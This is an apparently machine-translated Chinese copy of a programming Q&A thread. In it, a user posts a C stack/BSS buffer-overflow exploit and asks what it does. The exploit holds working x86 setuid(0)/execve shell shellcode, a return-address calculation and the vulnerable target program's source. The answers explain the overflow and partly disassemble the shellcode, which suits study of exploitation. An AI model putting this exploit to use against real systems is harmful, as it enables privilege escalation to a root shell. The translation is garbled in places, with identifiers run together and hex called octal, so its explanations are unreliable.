这个节目在做什么?

时间:2011-04-15 06:30:49

标签: c exploit shellcode execve

#define bufsize 260
/* setuid(0) shellcode by by Matias Sedalo 3x ^_^ */
char shellcode[] ="\x31\xdb\x53\x8d\x43\x17\xcd\x80\x99\x68\x6e\x2f\x73\x68\x68"
"\x2f\x2f\x62\x69\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"; 

int main(void){
    char buf[bufsize] ;
    char *proc[]={"./bss2",buf,NULL};
    char *envir[]={"Bytes=2Lu",shellcode,NULL};
    unsigned long ret_addr = 0xc0000000 - strlen(proc[0]) - strlen(shellcode) - sizeof(void *) - 0x02;
    memset(buf,0x42,sizeof(buf));
    memcpy(buf + bufsize - 4,(char *)&ret_addr,4);
    execve(proc[0],proc,envir);
    return 0;
}

memcpy之前memsetexecve的内容是什么?它如何影响程序proc

bss2的更新代码

#define LEN 256
void output(char *);
int main(int argc, char **argv) {
    static char buffer[LEN];
    static void (*func) (char *);
    func = output;
    strcpy(buffer, argv[1]);
    func(buffer);
    return EXIT_SUCCESS;
}
void output(char *string) {
    fprintf(stdout, "%s", string);
}

更新

现在看来问题归结为环境变量所在的位置?

6 个答案:

答案 0 :(得分:3)

代码正在构造一个参数字符串和一个环境(就像环境变量所在的地方一样)。该参数包含"./bss2"中的argv[0]和一个256 B个字符的字符串,后跟argv[1]中的返回地址。 envir onment在第一个位置包含一个虚拟变量,在第二个位置包含shellcode。

据推测,目标应用程序bss2包含一个变量char x[256];,它将argv[1]复制到无边界检查中。这会导致函数返回地址被ret_addr中计算的返回地址覆盖,这有希望指向环境块。

答案 1 :(得分:0)

对我来说似乎很奇怪,因为buf参数不是以空值终止的。

好吧,memset和memcpy对第一个程序参数做了一些破解,然后execve启动它。对不起,不能多说......

答案 2 :(得分:0)

由于bufsizeshellcode未定义,因此无法编译。

更严重的是,它似乎试图在名为bss2的shell命令上利用缓冲区溢出或类似命令。

答案 3 :(得分:0)

我不是专家,但看起来它正试图运行一些漏洞。

指标包括标识符shellcode,使用memset / memcpy操纵另一个可执行文件的参数并计算某些ret_addr值。

答案 4 :(得分:0)

似乎有些项目没有由您发布的代码定义。 shellcode是定义为宏还是什么?值bufsize也是未知的。

memset调用似乎用八进制值0x42初始化缓冲区buf。

memcpy调用似乎是在buf的末尾插入一个地址。

如上所述,这个缓冲区(buf)最终作为参数传递给bss2进程。

答案 5 :(得分:0)

作为我自己的练习,我开始手工拆解shellcode。我得到了:

XOR ebx, ebx  #clear ebx
PUSH ebx     #push ebx onto the stack
LEA eax, [ebx+23]  #load 23 into eax
INT 80      #do a system call

之后我感到无聊,但是在INT 80调用的linux系统调用23是sys_setuid,所以它看起来像是将UID设置为0或获得root的代码。不足为奇,因为它是shell代码。 :-)